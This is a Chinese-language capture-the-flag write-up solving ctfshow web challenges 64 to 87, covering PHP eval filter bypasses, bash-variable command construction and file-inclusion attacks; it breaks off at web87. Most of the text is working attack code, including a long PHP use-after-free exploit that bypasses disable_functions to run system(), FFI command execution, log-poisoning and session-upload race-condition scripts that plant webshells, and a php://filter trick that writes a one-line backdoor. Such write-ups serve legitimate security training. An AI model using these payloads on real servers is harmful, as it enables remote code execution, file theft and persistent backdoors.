show_source()没有被禁,继续使用
1
c=show_source("flag.php");
¶ web65
1 2 3 4
if (isset ($_POST['c' ])){ $c= $_POST['c' ]; eval ($c); }
show_source()没有被禁,继续使用
1
c=show_source("flag.php");
¶ web66
1 2 3 4
if (isset ($_POST['c' ])){ $c= $_POST['c' ]; eval ($c); }
终于show_source()被禁止了,我们寻找新的读取文件函数,这里发现highlight_file()可以进行使用,构造payload
1
c=highlight_file("flag.php");
然而… 说flag不在flag.php里,我们使用?c=print_r(scandir("/"));
打印一下根目录 发现有一个flag.txt,那我们直接读取
1
c=highlight_file("/flag.txt");
¶ web67
1 2 3 4
if (isset ($_POST['c' ])){ $c= $_POST['c' ]; eval ($c); }
这次打印目录发现print_r()
被禁用了,那我们换成var_dump
1
c=var_dump(scandir("/"));
发现还是flag.txt,那直接上payload
1
c=highlight_file("/flag.txt");
¶ web68
这次应该是吧highlight_file()给禁用了,所以页面连代码都没有,直接报错,先查看目录
1
c=var_dump(scandir("/"));
还是flag.txt,这里highlight_file()被禁用,我们换另一个,使用include()函数,payload如下
¶ web69
1
依然是highlight_file()被禁用不显示的源码
查看目录时发现var_dump被禁用了,找了一下资料发现几种读取目录的方式
1 2 3 4 5 6 7 8
print_r(glob("*" )); print_r(glob("/*" )); print_r(scandir("." )); print_r(scandir("/" )); $d=opendir("." );while (false !==($f=readdir($d))){echo "$f \n" ;} $d=dir("." );while (false !==($f=$d->read())){echo $f."\n" ;} $a=glob("/*" );foreach ($a as $value){echo $value." " ;} $a=new DirectoryIterator ('glob:///*' );foreach ($a as $f){echo ($f->__toString()." " );}
前面4个print_r都被禁用了,我们使用后面四个任意一个都可以,原理是通过遍历数组的形式进行读取
1
c=$d=opendir("../../../");while(false!==($f=readdir($d))){echo"$f\n";}
得到根目录下还是flag.txt,那直接上payload
¶ web70
1
依然是highlight_file()被禁用不显示的源码
读取目录
1
c=$d=opendir("../../../");while(false!==($f=readdir($d))){echo"$f\n";}
上payload获取flag
¶ web71
1 2 3 4 5 6 7 8 9 10
error_reporting(0 ); ini_set('display_errors' , 0 ); if (isset ($_POST['c' ])){ $c= $_POST['c' ]; eval ($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i" ,"?" ,$s); }
本来这次想直接用payload读取的,,结果😢
输出了一堆?
号,看到源码中最后有个匹配,匹配到数字字母就会被替换成?
号,不过因为这个语句是放在eval()函数后面的,我们直接加个强行退出命令即可,payload如下
1
c=include("/flag.txt");exit();
¶ web72
1 2 3 4 5 6 7
if (isset ($_POST['c' ])){ $c= $_POST['c' ]; eval ($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i" ,"?" ,$s); }
首先继续先查看目录,上题的payload不能用了,继续换刚刚列举出来的另一个
1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
发现改名字了,flag在flag0.txt,继续include执行却发现被禁用了,接着悲催的发现这题有open_basedir和disable_functions的限制
open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开
disable_functions:用于禁止某些函数,也就是黑名单,简单来说就是php为了防止某些危险函数执行给出的配置项,默认情况下为空
然后想上蚁剑也没有bypass成功,去网上搜了一下可利用的exp,正好群主有现成的发出来,直接拿来用 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202
c=function ctfshow ($cmd ) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct ( ) { global $backtrace; unset ($this ->a); $backtrace = (new Exception )->getTrace(); if (!isset ($backtrace[1 ]['args' ])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr (&$str, $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s-1 ; $j >= 0 ; $j--) { $address <<= 8 ; $address |= ord($str[$p+$j]); } return $address; } function ptr2str ($ptr, $m = 8 ) { $out = "" ; for ($i=0 ; $i < $m; $i++) { $out .= sprintf("%c" ,($ptr & 0xff )); $ptr >>= 8 ; } return $out; } function write (&$str, $p, $v, $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n; $i++) { $str[$p + $i] = sprintf("%c" ,($v & 0xff )); $v >>= 8 ; } } function leak ($addr, $p = 0 , $s = 8 ) { global $abc, $helper; write($abc, 0x68 , $addr + $p - 0x10 ); $leak = strlen($helper->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak; } function parse_elf ($base ) { $e_type = leak($base, 0x10 , 2 ); $e_phoff = leak($base, 0x20 ); $e_phentsize = leak($base, 0x36 , 2 ); $e_phnum = leak($base, 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0 , 4 ); $p_flags = leak($header, 4 , 4 ); $p_vaddr = leak($header, 0x10 ); $p_memsz = leak($header, 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz; } } if (!$data_addr || !$text_size || !$data_size) return false ; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs ($base, $elf ) { list ($data_addr, $text_size, $data_size) = $elf; for ($i = 0 ; $i < $data_size / 8 ; $i++) { $leak = leak($data_addr, $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak($data_addr, ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); $vuln = new Vuln(); $vuln->a = $arg; } if (stristr(PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); trigger_uaf('x' ); $abc = $backtrace[1 ]['args' ][0 ]; $helper = new Helper; $helper->b = function ($x ) { }; if (strlen($abc) == 79 || strlen($abc) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr($abc, 0 ); $php_heap = str2ptr($abc, 0x58 ); $abc_addr = $php_heap - 0xc8 ; write($abc, 0x60 , 2 ); write($abc, 0x70 , 6 ); write($abc, 0x10 , $abc_addr + 0x60 ); write($abc, 0x18 , 0xa ); $closure_obj = str2ptr($abc, 0x20 ); $binary_leak = leak($closure_handlers, 8 ); if (!($base = get_binary_base($binary_leak))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf($base))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs($base, $elf))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system($basic_funcs))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20 , $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38 , 1 , 4 ); write($abc, 0xd0 + 0x68 , $zif_system); ($helper->b)($cmd); exit (); } ctfshow("cat /flag0.txt" );ob_end_flush();
通过burpsuite抓包,然后把post的c替换成exp,接着按照图中所示步骤进行url编码 发送数据包后可获得flag
¶ web73
1 2 3 4 5 6 7
if (isset ($_POST['c' ])){ $c= $_POST['c' ]; eval ($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i" ,"?" ,$s); }
老规矩,先看目录,肯定又改名了
1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
果然,flag文件现在是flagc.txt,先尝试能不能读取,好家伙,能直接读取,payload如下
1
c=include("/flagc.txt");exit();
¶ web74
1 2 3 4 5 6 7
if (isset ($_POST['c' ])){ $c= $_POST['c' ]; eval ($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i" ,"?" ,$s); }
查看目录
1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
这次flag在flagx.txt里,payload如下
1
c=include("/flagx.txt");exit();
¶ web75
1 2 3 4 5 6 7
if (isset ($_POST['c' ])){ $c= $_POST['c' ]; eval ($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i" ,"?" ,$s); }
查看目录
1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
这次flag在flag36.txt里,好家伙又读取不成功开始限制了,后来看了下hint,这题用的mysql的load_file进行读取文件,payload如下
1 2 3 4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);
还是在burpsuite中进行url编码后发包拿到flag
¶ web76
1 2 3 4 5 6 7
if (isset ($_POST['c' ])){ $c= $_POST['c' ]; eval ($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i" ,"?" ,$s); }
查看目录
1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
这次发现flag在flag36d.txt中,还是上题老套路,用load_file读取文件,payload
1 2 3 4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);
记得进行url编码,发包后得到flag
¶ web77
1 2 3 4 5 6 7
if (isset ($_POST['c' ])){ $c= $_POST['c' ]; eval ($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i" ,"?" ,$s); }
继续读取目录
1
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
发现一个flag36x.txt和readflag,题目提示了php7.4,搜了一下是利用FF1拓展(php7.4开始才有),payload如下
1
c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();
这里flag36x.txt读取不出来没有回显,所以利用readflag那个文件,把他输出到新文件flag.txt中 接着访问flag.txt就可以获得flag了
¶ web118
题目提示flag在flag.php中,打开页面,有一个输入框 右键查看源码提示是:system($code);
,fuzz尝试之后发现只有大写字母和${}:?.~等等字符可以通过,可以使用bash内置变量进行利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
┌──(root💀kali)-[~] └─# echo ${PWD} /root ┌──(root💀kali)-[~] └─# echo ${PWD:0:1} #表示从0下标开始的第一个字符 / ┌──(root💀kali)-[~] └─# echo ${PWD:~0:1} #从结尾开始往前的第一个字符 t ┌──(root💀kali)-[~] └─# echo ${PWD:~0} t ┌──(root💀kali)-[~] └─# echo ${PWD:~A} #所以字母和0具有同样作用 t ┌──(root💀kali)-[~] └─# echo ${PATH} /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ┌──(root💀kali)-[~] └─# echo ${PATH:~A} n ┌──(root💀kali)-[~] └─# ls Desktop Documents Downloads flag.txt Music Pictures Public Templates Videos ┌──(root💀kali)-[~] └─# ${PATH:~A}l flag.txt 1 flag{test}
从中发现我们可以构造出nl命令进行读取
1 2 3 4 5 6 7 8
${${PATH} /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ${PWD} /var/www/html 所以payload为 ${PATH:~A}${PWD:~A} ????.???
然后右键源码得到flag
¶ web119
这次在前面的基础上把path给禁了,也就是我们无法获得n这个字母,也就无法构成了nl命令。接下来我们尝试构造一下/bin/cat
,而想要匹配到我们至少需要一个/
符号和一个cat
中的一个字母,这里使用${SHLVL}
来配合构造/
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
一般给的权限都是www-data,所以我们用${USER}
可以获得“www-data”,而我们要取到at的话需要${USER:~2:2}
,但数字是被禁了,所以接下来我们还需要想想怎么构造出2,翻了翻,这要什么来什么了,看见php的版本是7.3.22,正好包含数字2,所以利用PHP_VERSION
所以思路很清晰了,构造payload如下
1
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
回车后右键源码看到flag
¶ web120
这次变成源码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
<?php error_reporting(0 ); highlight_file(__FILE__ ); if (isset ($_POST['code' ])){ $code=$_POST['code' ]; if (!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/' , $code)){ if (strlen($code)>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system($code).'</div>' ; } } else { echo '<div align="center">evil input</div>' ; } } ?>
这次限制payload长度在65以内,上题我们payload达到99的长度,所以我们适当减少一下,我们就不取www-data中的at,只取a进行匹配,好家伙那我上题还想半天构造数字2(太菜了),尝试构造如下
1 2 3 4 5
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~A}? ????.??? 但发现长度是66还是超了,接着我们把${#}去掉,也是可以的,最终payload如下: code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
右键源码得到flag
¶ web121
1 2 3 4 5 6 7 8 9 10
if (isset ($_POST['code' ])){ $code=$_POST['code' ]; if (!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/' , $code)){ if (strlen($code)>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system($code).'</div>' ; } }
这次把USER给禁了,首先我们现在可以利用的是PWD,也就是“/var/www/html”,对应了一下bin中的命令,发现我们可以取r来构造/bin/rev
取反命令读取文件,也就是我们需要构造出${PWD:3:1}
的效果
1 2 3 4 5
这里我们可以用${IFS}和${#}分别替代 ${#IFS}在ubuntu等系统中值为3,我在kali中测试值为4 ${#}为添加到shell的参数个数,${##}则为值
所以构成payload如下
1
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
接着去kali里面再取反一次即可得到flag
¶ web122
1 2 3 4 5 6 7 8 9 10
if (isset ($_POST['code' ])){ $code=$_POST['code' ]; if (!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/' , $code)){ if (strlen($code)>65 ){ echo '<div align="center">' .'you are so long , I dont like ' .'</div>' ; } else { echo '<div align="center">' .system($code).'</div>' ; } }
这次把PWD
和#
都给禁了😢,这次我们换另一个命令/bin/base64
,这次放开了HOME,我们就用HOME来获取/
,数字1的话我们没法使用${##}
了,这里使用$?
$?
最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
这里找了几个报错资料和对应的值
1 2 3 4 5 6 7 8 9 10
"OS error code 1: Operation not permitted" "OS error code 2: No such file or directory" "OS error code 3: No such process" "OS error code 4: Interrupted system call" "OS error code 5: Input/output error" "OS error code 6: No such device or address" "OS error code 7: Argument list too long" "OS error code 8: Exec format error" "OS error code 9: Bad file descriptor" "OS error code 10: No child processes"
利用<A
的报错就能返回值1,根据题目fuzz提示,后面的base64中的4我们可以利用${RANDOM}
来获得(因为具有随机性,所以要多尝试直到随机出4来),到这里思路很清晰了,构造payload
1
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
写个脚本来跑
1 2 3 4 5 6 7 8 9 10 11 12 13
import requestsurl = "http://3f405f9a-8ca5-4519-aef8-95943df5d5de.chall.ctf.show:8080/" data = {'code' : r'<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???' } while True : result = requests.post(url=url, data=data) if "PD9waHA" in result.text: print(result.text) break
再进行base64解码即可得到flag
¶ web124
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
if (!isset ($_GET['c' ])){ show_source(__FILE__ ); }else { $content = $_GET['c' ]; if (strlen($content) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m' , $content)) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content, $used_funcs); foreach ($used_funcs[0 ] as $func) { if (!in_array($func, $whitelist)) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content.';' ); }
分析一波源码,get传参c,并且长度不能超过80,设置了黑名单和白名单和正则过滤。按照提示我们去找找一些数学函数进行使用,这么多白名单也注定了有多种payload,这里我使用base_convert()
和getallheaders
配合使用 注意,因为正则会匹配字母,所以我们需要通过base_convert()
进行一个转换
所以构造payload如下
1
?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1})
这里用一个变量来缩小payload长度,但注意变量名要取白名单中的名字进行命名,否则会被ban 成功获得flag
¶ 文件包含(78-88&116-117)
¶ web78
1 2 3 4 5 6
if (isset ($_GET['file' ])){ $file = $_GET['file' ]; include ($file); }else { highlight_file(__FILE__ ); }
开始文件包含的题型了,这里使用php伪协议php://filter来构造payload
首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。
payload如下
1
?file=php://filter/convert.base64-encode/resource=flag.php
读取出来是base64,再拿去进行base64解码即可得到flag
¶ web79
1 2 3 4 5
if (isset ($_GET['file' ])){ $file = $_GET['file' ]; $file = str_replace("php" , "???" , $file); include ($file); }
代码中把php替换成了???
,php伪协议大小写可以绕过,所以我们这里使用php://input伪协议,payload如下
1 2 3
?file=Php://input post:<?php system("tac flag.php");?>
¶ web80
1 2 3 4 5 6
if (isset ($_GET['file' ])){ $file = $_GET['file' ]; $file = str_replace("php" , "???" , $file); $file = str_replace("data" , "???" , $file); include ($file); }
这次多过滤了一个data,可以继续使用上题php:input协议,不过注意这次文件名字改了 所以payload为
1 2 3
?file=Php://input post:<?php system("tac fl0g.php");?>
¶ web81
1 2 3 4 5 6 7
if (isset ($_GET['file' ])){ $file = $_GET['file' ]; $file = str_replace("php" , "???" , $file); $file = str_replace("data" , "???" , $file); $file = str_replace(":" , "???" , $file); include ($file); }
这次把:给ban了,题目提示使用日志包含,之前都是手工发包,这次写个脚本来跑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
import requestsurl = "http://893b0ed2-2497-41f3-b056-c5617165c2f3.chall.ctf.show:8080/" + "?file=/var/log/nginx/access.log" headers = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0<?php @eval($_POST[dotast]);?>' } data = { 'dotast' : 'system("cat fl0g.php");' } req = requests.get(url=url, headers=headers) result = requests.post(url=url, data=data) print(result.text)
运行得到flag
¶ web82
1 2 3 4 5 6 7 8 9
if (isset ($_GET['file' ])){ $file = $_GET['file' ]; $file = str_replace("php" , "???" , $file); $file = str_replace("data" , "???" , $file); $file = str_replace(":" , "???" , $file); $file = str_replace("." , "???" , $file); include ($file); }
这次把.
给过滤了,日志包含使用不了,我们使用session文件包含,先了解一些知识点,在php5.4之后php.ini开始有几个默认选项
1.session.upload_progress.enabled = on 2.session.upload_progress.cleanup = on 3.session.upload_progress.prefix = “upload_progress_” 4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS” 5.session.use_strict_mode=off
第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容 第三和第四个prefix+name
将表示为session中的键名 第五个表示我们对Cookie中sessionID可控
简而言之,我们可以利用session.upload_progress
将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off
的关系,我们可以自定义sessionID linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。 并产生一个键值,为prefix+name
的值,最后被写入sess_文件里 还有一个关键点就是session.upload_progress.cleanup
默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
import ioimport requestsimport threadingurl = 'http://453228ae-28f2-4bb0-b401-83514feae8df.chall.ctf.show:8080/' def write (session ): data = { 'PHP_SESSION_UPLOAD_PROGRESS' : '<?php system("tac f*");?>dotast' } while True : f = io.BytesIO(b'a' * 1024 * 10 ) response = session.post(url,cookies={'PHPSESSID' : 'flag' }, data=data, files={'file' : ('dota.txt' , f)}) def read (session ): while True : response = session.get(url+'?file=/tmp/sess_flag' ) if 'dotast' in response.text: print(response.text) break else : print('retry' ) if __name__ == '__main__' : session = requests.session() write = threading.Thread(target=write, args=(session,)) write.daemon = True write.start() read(session)
运行后得到flag
¶ web83
1 2 3 4 5 6 7 8 9 10 11
session_unset(); session_destroy(); if (isset ($_GET['file' ])){ $file = $_GET['file' ]; $file = str_replace("php" , "???" , $file); $file = str_replace("data" , "???" , $file); $file = str_replace(":" , "???" , $file); $file = str_replace("." , "???" , $file); include ($file); }
继续利用session文件包含,使用上题脚本运行即可得到flag
¶ web84
1 2 3 4 5 6 7 8 9
if (isset ($_GET['file' ])){ $file = $_GET['file' ]; $file = str_replace("php" , "???" , $file); $file = str_replace("data" , "???" , $file); $file = str_replace(":" , "???" , $file); $file = str_replace("." , "???" , $file); system("rm -rf /tmp/*" ); include ($file); }
加了一个rm -rf
,但没关系,我们是条件竞争,只要一直传就有机会能执行,继续跑上面的脚本拿flag
¶ web85
1 2 3 4 5 6 7 8 9 10 11 12 13 14
if (isset ($_GET['file' ])){ $file = $_GET['file' ]; $file = str_replace("php" , "???" , $file); $file = str_replace("data" , "???" , $file); $file = str_replace(":" , "???" , $file); $file = str_replace("." , "???" , $file); if (file_exists($file)){ $content = file_get_contents($file); if (strpos($content, "<" )>0 ){ die ("error" ); } include ($file); } }
这次会匹配调用die,我们依然使用条件竞争进行pass,不过这次我们多加点线程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
import ioimport requestsimport threadingurl = 'http://8c42100f-3744-4c9f-83d4-5ac626e78719.chall.ctf.show:8080/' def write (session ): data = { 'PHP_SESSION_UPLOAD_PROGRESS' : '<?php system("tac f*");?>dotast' } while True : f = io.BytesIO(b'a' * 1024 * 10 ) response = session.post(url,cookies={'PHPSESSID' : 'flag' }, data=data, files={'file' : ('dota.txt' , f)}) def read (session ): while True : response = session.get(url+'?file=/tmp/sess_flag' ) if 'dotast' in response.text: print(response.text) break else : print('retry' ) if __name__ == '__main__' : session = requests.session() for i in range(30 ): threading.Thread(target=write, args=(session,)).start() for i in range(30 ): threading.Thread(target=read, args=(session,)).start()
运行后得到flag
¶ web86
1 2 3 4 5 6 7 8 9 10
define('还要秀?' , dirname(__FILE__ )); set_include_path(还要秀?); if (isset ($_GET['file' ])){ $file = $_GET['file' ]; $file = str_replace("php" , "???" , $file); $file = str_replace("data" , "???" , $file); $file = str_replace(":" , "???" , $file); $file = str_replace("." , "???" , $file); include ($file); }
继续使用上题脚本跑,跑完得到flag
¶ web87
1 2 3 4 5 6 7 8 9
if (isset ($_GET['file' ])){ $file = $_GET['file' ]; $content = $_POST['content' ]; $file = str_replace("php" , "???" , $file); $file = str_replace("data" , "???" , $file); $file = str_replace(":" , "???" , $file); $file = str_replace("." , "???" , $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>" .$content); }
分析一下源码,get传入file,post传入content,但$content
在开头增加了die函数,即使我们写入一句话也会先die,导致无法执行;并且还对file
进行了url解码 我们可以使用base64的方式写入文件再进行decode,base64编码只包含64个可打印字符,而php解码base64时遇到不在其中的字符,会忽略掉,将合法字符进行组合变成一个字符串进行解码,所以<?php die('大佬别秀了');?>
对其解码后,只有phpdie
六个字符组成字符串进行解码,思路已经很清晰了,下面讲讲怎么做
第一,get传参file写入文件并且进行base64解码,即 ?file=php://filter/write=convert.base64-decode/resource=datast.php 因为源码中有一次urldecode,所以我们需要对其进行两次url编码 %25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%34%25%36%31%25%37%34%25%36%31%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30
第二,post传参content为base64编码后的一句话木马,但注意的是前面剩下phpdie,一共6个字符,所以需要再加2个字符变8个 因为base64算法解码时是4个byte一组 content=nbPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg==
post发送请求后访问dotast.php发现一句话木马已经写入,可以执行命令。步骤过于繁琐,我写一个脚本来完成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
